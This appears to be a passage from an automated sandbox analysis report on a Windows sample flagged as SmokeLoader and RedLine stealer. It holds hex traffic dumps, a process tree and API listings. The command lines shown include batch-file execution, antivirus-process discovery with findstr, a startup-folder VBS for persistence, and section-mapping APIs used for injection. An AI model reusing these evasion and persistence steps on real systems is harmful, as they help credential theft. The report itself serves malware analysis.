2024-12-30 18:45:55 UTC	7957	IN	Data Raw: 26 f5 50 a6 f1 5f 38 77 13 ec 6a 95 0b 10 d0 14 09 37 a8 1e 05 95 8e 97 24 66 a2 8d 1a 9e bb a9 fb 8e a5 e1 a7 c3 56 85 5e 70 5c 50 64 ef 83 6e 5a 2f 0b 9f a3 44 5c bc 01 a3 a9 49 40 1d c5 fe 39 86 39 bc 2a f3 24 86 c7 a2 f8 6e 39 56 01 c4 0e 8f 41 0b b7 44 b6 9b cb 4a c4 ea b3 99 97 93 4e 7d d5 cd ab 66 af 2f 66 3d 89 a1 a2 3d a7 08 68 da ff a2 49 37 33 8d d0 bb 13 2e 6e b5 88 19 7f 75 0d 02 80 c8 1b ad 1d a3 e8 17 37 f5 f4 0f c4 d8 28 60 28 a8 3a df 51 91 b1 78 2e 2d bf e4 a0 9a 33 b1 35 7e e3 79 89 77 ee 07 9b 5e 14 33 01 ef 39 1b 4a de 9c ed 85 1f 82 71 0f c2 82 ec 68 fb ac f6 1c 3f d3 6b 1b e4 a7 95 77 a7 36 4a 5d 41 82 09 66 58 e1 29 bd d7 2e 6e b6 a5 a9 ce 9a 49 4c 62 ff d1 ed 1c a4 5d e8 fd 18 cc b6 91 be 05 21 9e 92 85 6b ca 1a ec b1 04 ed e9 3c Data Ascii: &P_8wj7$fV^p\PdnZ/D\I@99*$n9VADJN}f/f==hI73.nu7(`(:Qx.-35~yw^39Jqh?kw6J]AfX).nILb]!k<
2024-12-30 18:45:55 UTC	8000	IN	Data Raw: 0c 33 da 5e 79 09 98 90 52 e5 46 57 2a b2 5e a8 04 a0 7b 40 3a f6 3a d8 72 40 fc 4f 55 92 07 bd 97 7b 1b c5 5a e8 1e 87 22 e1 a8 b8 e1 c6 17 b8 ee 12 2e a4 25 d3 aa db ed ee 5c 71 b9 58 4c 76 ed c6 74 60 97 3a 39 73 ef 8a c6 f8 9d 92 86 04 a4 b6 27 ca a3 e1 dc d5 07 49 d2 81 58 48 a4 1b 73 2a 4e 26 d2 02 20 47 ae 0a 95 69 74 4b 45 ab 22 ec 98 0d f0 e3 32 c6 39 98 c1 66 33 ff 5a e0 28 26 00 7e e2 4e 15 7c a2 5e 1f 2d 65 bc 35 46 7e b1 f1 47 1a b1 32 e1 aa 33 0f a5 94 58 59 c4 da 4c 0c 58 47 6a f3 ff 90 bb 56 58 9e 10 e5 2c 63 6d c1 64 db e4 7b 68 70 f8 7b ae 2a 55 b5 63 f7 4d f5 6f c5 ed db a7 f2 b4 0d 12 c9 7a 09 3b 0d 4d 97 f8 8d 05 e3 bb 63 13 69 0e ec 09 eb c3 26 88 73 63 81 f4 69 5f 7b cd 6e fc 81 47 d0 da b3 d8 73 a8 f5 c5 fd 6f 23 17 db 69 1a be 22 Data Ascii: 3^yRFW^{@::r@OU{Z".%\qXLvt`:9s'IXHsN& GitKE"29f3Z(&~N\|^-e5F~G23XYLXGjVX,cmd{hp{*UcMoz;Mci&sci_{nGso#i"
2024-12-30 18:45:55 UTC	8000	IN	Data Raw: 41 6c 6d 49 00 99 d5 80 7c ab fc 70 92 cd f3 7c 66 28 ba a0 af bc 41 b2 15 f8 3d a3 bc 24 c4 9c 61 a0 82 5e 28 a1 71 b1 c6 1c cc 11 0b 0b ca e5 f4 cb 44 c8 b2 97 eb ce 63 c3 a6 70 ae 9c e7 59 c4 03 0f 08 0b 65 65 f6 b4 ca 58 fd 72 e1 21 24 f2 79 19 3d 27 6a 36 3e 7c ce 52 d2 21 0e f2 b5 10 33 f2 19 51 f1 12 0e c4 7d e0 f0 8d ab 9a 1c 22 7e ec bc 49 e8 a7 0d d6 02 15 10 59 1f cd 9c df 11 dc 3f 4c 47 1b 03 a9 c5 06 13 16 70 ed 15 ac 08 f7 44 44 b5 7a f3 f2 19 66 ed 2f b4 c5 41 75 1b e3 0e 78 29 d7 dd bd a9 31 5f 5e da 49 ce 7d d0 e8 d7 70 af 37 21 30 15 e9 be a3 4b 51 b0 3d 17 a0 5f 9a 45 8b 99 b5 9e 9c 7b a6 a4 f5 5b d9 ba 28 77 60 6e b7 81 87 49 b6 88 35 2d 94 65 dc 96 c4 4f 0c bd 0d a2 14 b5 a4 a3 f5 14 4d e2 01 12 a8 37 02 e0 1a a3 2b 01 b9 04 01 3f 3b Data Ascii: AlmI\|p\|f(A=$a^(qDcpYeeXr!$y='j6>\|R!3Q}"~IY?LGpDDzf/Aux)1_^I}p7!0KQ=_E{[(w`nI5-eOM7+?;
2024-12-30 18:45:55 UTC	8000	IN	Data Raw: 52 7d 67 74 32 8e 7a 9e 28 ea 60 9f 1f f9 e3 ef b0 a6 61 a4 f2 4f ef 4d 82 92 fd c6 66 a1 3d b4 8a ae 5d 3b 1b 03 7b 61 40 3e a9 48 ce 0c 25 b0 f1 40 a8 2a e8 7e 54 9c 50 ff 80 79 8f 99 10 fc d6 a8 90 50 ca 02 b4 d9 d5 9e b9 9d fe c7 5e a7 f0 1b f0 26 c2 8a 91 90 0c df e4 60 9b cb dc f1 39 ea e2 79 80 76 14 fa 62 b9 5a 04 ed b0 84 98 95 f2 a8 74 d4 a7 72 e0 d3 61 4d 28 70 bf 00 7e 65 e6 b3 ee bf e4 60 97 ed af 86 ed 4f 27 af b3 82 e7 c6 6e 79 3a a1 7f 2b 53 06 31 2e a3 e6 9c 94 42 ea a3 60 4e cb 64 95 15 60 46 3c 9d b6 40 88 d0 99 74 a8 21 bc b1 d1 09 63 57 27 2f 62 af 7a 51 7a 27 43 31 99 a1 d1 fe 5e 36 3e d3 df 03 c6 81 34 55 a2 43 15 2f 34 ff 72 51 3b 76 42 b7 a2 2a ec 0b 88 d3 7a 84 a7 aa 69 ac dd db 54 30 13 5b 0f ae fb 94 95 29 d0 1a be f4 7f 1e db Data Ascii: R}gt2z(`aOMf=];{a@>H%@~TPyP^&`9yvbZtraM(p~e`O'ny:+S1.B`Nd`F<@t!cW'/bzQz'C1^6>4UC/4rQ;vBziT0[)
2024-12-30 18:45:55 UTC	8000	IN	Data Raw: bf 1b 7d 52 9a dd 1e d8 68 bb 4c 21 a2 cc 91 bf ea 19 00 47 08 4b f1 bb 40 ae 4d b6 3d 3d ae 22 fa c9 d2 41 ab 98 8f 05 5d 10 5e 28 53 61 23 a2 9c 93 72 f4 eb 42 12 d7 ac 51 5d 3c c7 47 51 e5 de 63 69 09 48 c5 54 88 91 88 a3 5f dd ac 20 f9 0e 35 c2 0f 08 33 70 68 1f 59 19 f5 9d 14 e4 89 d4 19 18 7c da f2 f3 dd b6 f1 f8 85 05 4c 63 6e 6e 12 3d 41 fe c7 7c ed 0e 36 e6 58 c5 5c 52 a5 fe df 75 04 10 87 ca 40 98 16 43 aa 29 b2 ad d3 52 ab ca b4 df 10 a9 8d 6e 48 77 23 49 ad 43 c8 d3 e8 aa 05 b3 db c2 84 85 09 2b 58 25 e4 12 01 eb bd 30 99 39 b1 31 95 06 11 2d 50 5d 6e 3d 31 d3 69 2b 9e 9a 22 5e 82 7a 79 25 cb 75 11 ec df a7 ca 33 26 e4 d8 b8 e9 25 f9 20 fc 6b 54 f2 6d cd e4 1d 18 62 71 23 15 dd 65 9c ef d9 f8 86 2a 68 6d 39 19 cf 29 5b 4f e8 9f a3 af 70 72 26 Data Ascii: }RhL!GK@M=="A]^(Sa#rBQ]<GQciHT_ 53phY\|Lcnn=A\|6X\Ru@C)RnHw#IC+X%091-P]n=1i+"^zy%u3&% kTmbq#e*hm9)[Opr&
2024-12-30 18:45:55 UTC	8000	IN	Data Raw: 9d df 52 3b 2e f1 83 c0 32 1d 4f e8 e7 bd 60 02 87 e6 79 ad c3 61 15 91 38 56 12 7b 9b a1 b2 e7 2f ad e3 3f 98 72 d6 83 9a 8a c9 c3 16 9a b1 32 b3 bc dc d9 60 0b 83 c4 5c 4b fa 3f e6 04 c7 a3 72 6d 79 58 d6 db 8c 30 4a 4b 66 0e 5c 39 cf c4 cd 71 05 38 8a 2c 72 ed b3 10 20 75 17 8d 22 df 88 7a 68 95 ca bd d9 f7 ca ed ac 58 f9 17 36 e2 4a a4 7c 42 69 96 9f 81 6a 6f c0 60 02 72 08 aa aa c8 ad 74 e5 c2 ee 03 a3 bb b1 3d b6 ac f6 e5 b3 fe 54 2a 4a 33 db ba ef c8 2a e7 b0 61 b0 ee 7e 35 9d d5 60 81 e2 be 9b 7d de 77 26 93 8b 49 4e d9 79 e6 da 40 c0 30 94 e4 2b 4a 72 ce dd 01 41 99 53 85 e8 28 5f c2 c6 62 e1 62 df 90 36 71 3b 80 24 44 04 82 c0 b5 6e 51 17 50 92 44 96 99 65 a1 8a 2c a3 ad b3 15 d3 02 7e 34 be 02 73 73 81 0d 21 37 f4 14 3f ee 7f a2 fb 5c 4b 76 f1 Data Ascii: R;.2O`ya8V{/?r2`\K?rmyX0JKf\9q8,r u"zhX6J\|Bijo`rt=TJ3a~5`}w&INy@0+JrAS(_bb6q;$DnQPDe,~4ss!7?\Kv
2024-12-30 18:45:56 UTC	8000	IN	Data Raw: 99 75 e1 42 d0 3e 32 0b d9 bf 67 17 61 de c3 bf 3f 64 ef 0c 72 93 55 57 2a 4c 57 08 bf 75 77 89 e4 d9 b3 21 43 cc b3 1c 23 c9 26 78 dc 85 55 76 12 1a fc 73 60 3f 75 e1 d0 e3 20 d7 17 6a b9 24 b6 d2 2b fc 80 84 04 c4 4b 77 38 f4 d4 a7 92 69 18 9b a3 95 a1 20 b4 a1 dc 47 1b de 4d 8f 0d 7e 96 f7 b5 8f 3d f5 51 ab 5c ca e9 9d 7e 2e 62 b0 83 00 3a 50 34 67 8a 51 a5 ef d2 f4 9a b7 e4 80 ff 65 5a 06 a2 29 24 57 6d 90 12 a9 ca 2e c1 e8 0e 9a 31 0b 7e f0 dc fe a4 16 34 bb 1c 7e 24 40 b7 5d 9e c5 4c 21 e2 29 8e ee 37 b4 2c a2 c5 80 b9 d8 5c d4 f3 d0 bc 57 8c 44 04 3d c6 ab aa d4 9f 98 65 06 28 44 a5 35 fb e8 32 07 e3 4d 66 e9 9b 7b 01 d6 a4 44 44 44 96 32 d5 8d c9 91 05 03 00 92 a8 08 c1 0c f5 71 a6 ae 31 7a 73 f1 08 89 51 43 fe db 67 67 ed 2f dd 50 1c f1 2a eb ac Data Ascii: uB>2ga?drUWLWuw!C#&xUvs`?u j$+Kw8i GM~=Q\~.b:P4gQeZ)$Wm.1~4~$@]L!)7,\WD=e(D52Mf{DDD2q1zsQCgg/P
2024-12-30 18:45:56 UTC	8000	IN	Data Raw: cf f1 e7 56 83 f9 66 a6 45 fd 17 98 0b cf bc ab 55 3d 62 44 00 0e ec a1 3f 4e d2 43 b5 51 85 7c 09 ce 61 34 bd 9b 52 ac 92 b8 d2 8e 68 04 ec 42 8b 55 04 1f 2f fd aa d3 74 2d 66 da b4 71 f4 64 69 59 79 5f 7f a6 93 36 d6 e5 a4 b6 b6 80 9a 6c fa 8a f9 3e bc 08 ff a9 82 1b 73 bc 94 fb 8f c7 8e 59 23 39 7b 2c c7 54 76 25 bb 58 81 b0 da d1 78 64 3c 23 66 69 1d ba a1 77 e7 6c 0b 6c b4 49 8e 80 35 c3 53 51 c6 b7 91 4f 8c b5 f1 48 e9 05 96 96 8f d9 4b 58 43 e1 84 a6 f1 15 8c 71 16 1b 1a 54 2a 39 31 9a 54 18 28 f9 43 a3 5f 4e 70 c8 2a fe c6 6d 94 7d ea 62 a0 36 15 35 21 ce 0c a2 f5 eb 55 1c 17 f8 74 12 da be 9a 67 b9 8c af 12 03 6b 7b 41 e2 90 1c a5 55 6f 5c 4c 4c b9 2e 1c 9c a9 67 d7 e1 f9 c9 28 26 1d 13 35 d5 48 af c9 36 e6 0d 53 19 6c bc 24 16 f5 30 fe 4a bb 7b Data Ascii: VfEU=bD?NCQ\|a4RhBU/t-fqdiYy_6l>sY#9{,Tv%Xxd<#fiwllI5SQOHKXCqT91T(C_Npm}b65!Utgk{AUo\LL.g(&5H6Sl$0J{
2024-12-30 18:45:56 UTC	8000	IN	Data Raw: be 20 18 7c 2c 77 08 c5 83 26 35 36 93 d4 1b 6f d8 85 65 7f e9 16 3c 5c f7 d7 ea 6b 9b b1 ce 80 ac 40 2e eb 7a 52 6b fb 7e 16 b6 18 d4 0d 31 8c b5 07 93 e4 bb e5 b6 4f a4 ca a1 46 e1 b7 68 ff 5f 7d 70 af 66 30 7e b3 3b 15 29 da c2 a1 f3 01 38 b7 21 50 23 a1 3f 41 6e 58 a7 ed e8 e5 05 dd 27 3b 8e aa 38 6c 39 e5 e3 c6 3c ef 52 39 6e 5c 5d da 26 d8 12 3d e5 2e c8 a2 46 0e be 63 c4 60 5e b0 ba c7 4e dd 52 8c 97 8d b6 d4 08 9a 90 7d db d3 f6 36 43 8d a2 f7 4b 56 0b 86 39 98 56 f5 8e f0 37 8f 96 b8 0f 4d 63 a9 dc 29 12 9d c2 ca 08 b8 6c 64 2c 5d a3 69 d0 66 27 fd c0 e9 ff 08 21 b3 02 3b 24 3b 2c 35 4f 29 59 69 4c aa 5d 5f ee da 0a 31 c1 25 2a 40 fc c4 cf 80 bf 62 2e be 4d 67 fa c0 2c cf 15 c4 48 55 a0 44 24 59 31 b7 41 db 19 7d 3a 79 51 48 f2 05 37 82 cf eb 34 Data Ascii: \|,w&56oe<\k@.zRk~1OFh_}pf0~;)8!P#?AnX';8l9<R9n\]&=.Fc`^NR}6CKV9V7Mc)ld,]if'!;$;,5O)YiL]_1%*@b.Mg,HUD$Y1A}:yQH74
2024-12-30 18:45:56 UTC	8000	IN	Data Raw: 3d cf d7 58 b3 db b6 4d db 25 6f 88 2e 71 c1 d0 a5 89 59 dd 09 c9 b1 b5 b5 c8 9c 48 2a 21 4d 1e d2 5a 16 15 5f af 4f d2 84 a9 3c 3e 41 97 c1 01 b4 e0 a0 77 01 dc de 2d 71 e7 68 7c b7 ab 3a d4 b8 3b c5 90 82 8b e0 bd ae 8e 49 25 95 e8 a9 c9 7f 95 3f fb b8 2e 0c 31 67 46 a1 27 84 91 77 69 ca a6 19 54 74 2e b9 e2 6e 35 3b b8 80 ba 36 04 f8 fc f9 ec 5e 9d b0 71 02 03 11 91 63 11 b9 0d 82 10 b9 9c 43 47 d2 3e c7 48 cd 3b 9b 00 0f 68 e9 c2 d8 fc e5 47 4d d5 6d af 90 99 f9 40 2f ae 37 25 eb ca e1 48 3b 8d 8c 03 1c 5b 60 e6 b5 e7 06 97 34 96 a3 fc 66 b9 41 f8 a0 e1 3b fb 37 78 3c 75 1d 01 09 06 aa 64 ec 04 f3 b0 84 12 b8 cb 5b 49 fc d5 b5 1b 57 c9 5f be cc 92 78 e3 f2 2c 8c f6 73 56 2d 71 d2 a6 60 ba f7 fe bf 00 8b 67 98 17 e7 1d 89 f5 e9 ea e0 2e 7a 11 4a 6d 81 Data Ascii: =XM%o.qYH*!MZ_O<>Aw-qh\|:;I%?.1gF'wiTt.n5;6^qcCG>H;hGMm@/7%H;[`4fA;7x<ud[IW_x,sV-q`g.zJm

Target ID:	0
Start time:	13:41:53
Start date:	30/12/2024
Path:	C:\Users\user\Desktop\hoEtvOOrYH.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\hoEtvOOrYH.exe"
Imagebase:	0x400000
File size:	231'424 bytes
MD5 hash:	2A270773553CFDCA5C1FDBF24D44F18C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 00000000.00000002.1732204208.0000000000880000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000000.00000002.1732453969.0000000002471000.00000004.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_4e31426e, Description: unknown, Source: 00000000.00000002.1732453969.0000000002471000.00000004.10000000.00040000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000000.00000002.1732280470.00000000008AA000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000000.00000002.1732336579.0000000000990000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_4e31426e, Description: unknown, Source: 00000000.00000002.1732336579.0000000000990000.00000004.00001000.00020000.00000000.sdmp, Author: unknown
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	13:42:00
Start date:	30/12/2024
Path:	C:\Windows\explorer.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Explorer.EXE
Imagebase:	0x7ff72b770000
File size:	5'141'208 bytes
MD5 hash:	662F4F92FDE3557E86D110526BB578D5
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	5
Start time:	13:42:20
Start date:	30/12/2024
Path:	C:\Users\user\AppData\Roaming\jagvise
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\jagvise
Imagebase:	0x400000
File size:	231'424 bytes
MD5 hash:	2A270773553CFDCA5C1FDBF24D44F18C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000005.00000002.1983884104.0000000000A28000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000005.00000002.1983794099.00000000009B0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_4e31426e, Description: unknown, Source: 00000005.00000002.1983794099.00000000009B0000.00000004.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 00000005.00000002.1983746430.0000000000880000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000005.00000002.1983822753.00000000009D1000.00000004.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_4e31426e, Description: unknown, Source: 00000005.00000002.1983822753.00000000009D1000.00000004.10000000.00040000.00000000.sdmp, Author: unknown
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 61%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	13:45:16
Start date:	30/12/2024
Path:	C:\Users\user\AppData\Local\Temp\A723.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\A723.exe
Imagebase:	0x400000
File size:	7'286'372 bytes
MD5 hash:	3B3D41663F63FF253217889380CDE23F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 71%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	13:45:17
Start date:	30/12/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /c copy Birth Birth.cmd && Birth.cmd
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	13:45:17
Start date:	30/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	13:45:34
Start date:	30/12/2024
Path:	C:\Windows\SysWOW64\tasklist.exe
Wow64 process (32bit):	true
Commandline:	tasklist
Imagebase:	0x90000
File size:	79'360 bytes
MD5 hash:	0A4448B31CE7F83CB7691A2657F330F1
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	13:45:34
Start date:	30/12/2024
Path:	C:\Windows\SysWOW64\findstr.exe
Wow64 process (32bit):	true
Commandline:	findstr /I "wrsa opssvc"
Imagebase:	0xe60000
File size:	29'696 bytes
MD5 hash:	F1D4BE0E99EC734376FDE474A8D4EA3E
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	13:45:38
Start date:	30/12/2024
Path:	C:\Users\user\AppData\Local\Temp\3E6C.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\3E6C.exe
Imagebase:	0xa40000
File size:	1'401'856 bytes
MD5 hash:	22059CF3BA4B5338116E054D63DBCB46
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 0000000C.00000002.3947321786.0000000003027000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 0000000C.00000002.4116101719.0000000006C60000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 39%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	13:45:43
Start date:	30/12/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0x9e0000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	14
Start time:	13:45:49
Start date:	30/12/2024
Path:	C:\Users\user\AppData\Local\Temp\C3F.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\C3F.exe
Imagebase:	0x400000
File size:	1'160'471 bytes
MD5 hash:	53C60D599AA498ED4EFA79BA0B12E29F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 13%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	13:45:51
Start date:	30/12/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /c move Focused Focused.cmd & Focused.cmd
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	16
Start time:	13:45:51
Start date:	30/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	17
Start time:	13:45:52
Start date:	30/12/2024
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Result.vbs"
Imagebase:	0x7ff71e800000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	13:45:52
Start date:	30/12/2024
Path:	C:\Windows\SysWOW64\tasklist.exe
Wow64 process (32bit):	true
Commandline:	tasklist
Imagebase:	0x90000
File size:	79'360 bytes
MD5 hash:	0A4448B31CE7F83CB7691A2657F330F1
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	19
Start time:	13:45:52
Start date:	30/12/2024
Path:	C:\Windows\SysWOW64\findstr.exe
Wow64 process (32bit):	true
Commandline:	findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth"
Imagebase:	0xe60000
File size:	29'696 bytes
MD5 hash:	F1D4BE0E99EC734376FDE474A8D4EA3E
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	20
Start time:	13:45:53
Start date:	30/12/2024
Path:	C:\Users\user\AppData\Roaming\Result.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Roaming\Result.exe"
Imagebase:	0xa10000
File size:	1'401'856 bytes
MD5 hash:	22059CF3BA4B5338116E054D63DBCB46
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 39%, ReversingLabs
Has exited:	false

Show Windows behavior

Target ID:	21
Start time:	13:45:59
Start date:	30/12/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000015.00000002.4130432288.0000000002811000.00000004.00000001.00020000.00000000.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	5.9%
Dynamic/Decrypted Code Coverage:	22.5%
Signature Coverage:	45%
Total number of Nodes:	129
Total number of Limit Nodes:	4

Executed Functions

Function 0041E3C0 Relevance: 35.3, APIs: 19, Strings: 1, Instructions: 293
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetDateFormatA.KERNELBASE(00000000,00000000,?,00000000,?,00000000), ref: 0041E49C
FoldStringW.KERNEL32(00000000,00000000,00000000,00000000,?), ref: 0041E4D7
BuildCommDCBW.KERNEL32(00000000,00000000), ref: 0041E4DF
GetTimeFormatW.KERNEL32(00000000,00000000,?,00000000,?,00000000), ref: 0041E50D
CancelDeviceWakeupRequest.KERNEL32(?), ref: 0041E518
SetFileAttributesA.KERNEL32(00423368,00000000), ref: 0041E524
UnregisterWaitEx.KERNEL32(?,00000000), ref: 0041E534
SetLocaleInfoA.KERNEL32(00000000,00000000,00423370), ref: 0041E541

Strings

F#, xrefs: 0041E6D0

Memory Dump Source

Source File: 00000000.00000002.1731971792.0000000000411000.00000020.00000001.01000000.00000003.sdmp, Offset: 00411000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_411000_hoEtvOOrYH.jbxd

Similarity

API ID: Format$AttributesBuildCancelCommDateDeviceFileFoldInfoLocaleRequestStringTimeUnregisterWaitWakeup
String ID: F#
API String ID: 4284779335-3765767533
Opcode ID: 93cef7cba12cfc1e678a0af51042d9bce38c9d9d666f86ca22bf1549905f9b30
Instruction ID: 58b4ca8a1ffd6a5f83b67aefe5396388f55c0061424afe5d5ceb088499a92ad9
Opcode Fuzzy Hash: 93cef7cba12cfc1e678a0af51042d9bce38c9d9d666f86ca22bf1549905f9b30
Instruction Fuzzy Hash: 96A1B2B6904300AFD320EF65DC85DAB77ACEB88315F80493EFA4692251D7789C45CB6E

Function 00401630 Relevance: 10.7, APIs: 7, Instructions: 203
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004016F1
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 0040171E
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401741
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 0040175F
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 004017A0
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004017D1
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 004017F3

Memory Dump Source

Source File: 00000000.00000002.1731953029.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_hoEtvOOrYH.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: 183e64851d44db5460637f8e576f2d0f1b668b3fa3db5c1b7421a1c496617433
Instruction ID: 7baa5f5768b34f369cd08a138b2b2447226c18c9e38af5e8fdc96bb499f212bb
Opcode Fuzzy Hash: 183e64851d44db5460637f8e576f2d0f1b668b3fa3db5c1b7421a1c496617433
Instruction Fuzzy Hash: AD6171B0904204FBEB208F91CC89FAF7BB8FF81710F10452AF912BA1E4D6759941DB65

